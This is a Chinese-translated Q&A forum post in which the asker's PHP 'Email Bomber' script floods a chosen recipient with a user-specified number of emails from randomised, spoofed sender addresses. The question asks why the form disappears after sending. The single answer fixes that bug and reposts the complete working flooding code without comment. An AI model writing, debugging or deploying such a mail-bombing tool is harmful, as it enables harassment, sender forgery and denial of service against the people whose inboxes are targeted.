回声时保持我的形式

时间:2013-02-09 07:34:51

标签: php html echo

出于某种原因,只要这个脚本被强制执行到想要回显“IT WORKED!”的点,就会显示消息,但是假设在它上面的表单会消失。

我的代码:

<?php

    $message    = $_REQUEST['message'];
    $email      = $_REQUEST['email'];
    $times      = $_REQUEST['times'];
    $subject    = $_REQUEST['subject'];
    $to         = $_REQUEST['to'];

    for ($i=1; $i<=$times; $i++) {
        mail( "$to", "$subject", $message, "From:" . rand() . "@$email" ) ;
    }

?>

    <form method="POST" id="email">

        <h1>Email Bomber</h1>

        <fieldset id="inputs">
            <input name="times" type="text" placeholder="How Many Emails" autofocus required>
            <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
            <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
            <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
            <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
        </fieldset>

        <fieldset id="actions">
            <input type="submit" id="submit" name="Send" value="Send Email">
        </fieldset>
    </form>

    <?php

        if (isset($_REQUEST['message'])) {

            echo "IT WORKED!";

        }

    ?>

1 个答案:

答案 0 :(得分:0)

应该是:

PHP代码:

<?php
if (isset($_REQUEST['Send'])) {

$message    = $_REQUEST['message'];
$email      = $_REQUEST['email'];
$times      = $_REQUEST['times'];
$subject    = $_REQUEST['subject'];
$to         = $_REQUEST['to'];

for ($i=1; $i<=$times; $i++) {
    mail( "$to", "$subject", $message, "From:" . rand() . "@$email" ) ;
}

echo "IT WORKED!";
}
?>

HTML:

<form method="POST" id="email" action="#">

    <h1>Email Bomber</h1>

    <fieldset id="inputs">
        <input name="times" type="text" placeholder="How Many Emails" autofocus required>
        <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
        <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
        <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
        <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
    </fieldset>

    <fieldset id="actions">
        <input type="submit" id="submit" name="Send" value="Send Email">
    </fieldset>
</form>